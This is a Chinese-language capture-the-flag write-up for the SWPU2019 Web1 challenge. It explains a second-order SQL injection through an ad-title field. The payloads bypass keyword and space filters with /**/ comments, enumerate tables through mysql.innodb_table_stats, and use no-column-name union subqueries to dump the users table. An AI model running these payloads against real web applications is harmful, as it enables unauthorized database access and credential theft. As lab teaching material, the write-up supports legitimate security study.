[SWPU2019]Web1 二次注入+无列名注入

上来看到两个功能，登录和注册，看到登录框直接sqlmap嗦一下

失败

注册admin显示被注册，那就注册一个账密都为aaa

登录进来发现两个功能点

发了一个广告却显示代管理确认，这里肯定没有管理员，所以我们得想办法自己上去admin账户，应该可以传个webshell上来自己确认

然而，我把注册登录的数据包找遍了都没找到任何与权限相关的东西，只有个随机生成的td_cookie，没什么用。爆破了一下admin的密码还是无所获

看样子可能还是sql注入，找找注入点吧

点击这个进去发现一个id，经过一番尝试无任何回显

那就只有最后一个功能点广告申请了，抓包试试

加个单引号没报错，但当我输入1' order by 1--在title里面时保敏感词汇了，找到注入点了！

弹敏感词汇我们先试试看看过滤的什么东西

最终我发现了过滤了or # --+  --和空格

尝试取反也无法绕过or

过滤or的话可以使用-1 union select 1,2,3,...n 来试试，如果列数不相符也会报错

使用下面这个python脚本生成一个字典进行爆破

my_dict = {}
for i in range(1, 31):
    my_dict[i] = ",".join(str(x) for x in range(1, i+1))

for key, value in my_dict.items():
    print(key, value)

过滤空格可以使用/**/   ()  /  %20  + 等来进行拼接，构造payload：-1'/**/union/**/select/**/n

爆破需要分批，广告数量有限制，这玩意还需要自己点进去看！

到23时报错不同列数说明查询列数为22，你们直接拿这个下面这个试吧，太麻烦！

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

根据22的广告发现回显位数为2和3

构造payload：

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

泥库名就为web1

普通的payload是从INFORMATION_SCHEMA.SCHEMATA里面查，但是这里限制了我们对这张表进行访问，无法通过这张表查询数据

下面内容来自这篇文章用innodb_index_stats和innodb_table_stats查找表名_dios mysql-CSDN博客

在MySQL 5.6及更高版本中，我注意到InnoDB创建了2个新表。“ innodb_index_stats”和“ innodb_table_stats”。这两个表都包含所有新创建的数据库和表的数据库和表名

不过InnoDB不存储列，并且存放表的字段名为table_name

更新后的payload：

-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

成功查到表名为ads,users

这里ads多半是存放广告数据的表，我们直接看users表

因为系统表被禁掉加上上面两张表不存放column，我们这里采用无列名注入不查询列名直接拿数据

内查询的结果需要一个别名

构造payload：-1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)/**/as/**/d),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

不要其他列的别名的话查询第几列的结果需要用``包裹

这个payload：-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/as/**/d),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

也是可以的

得到flag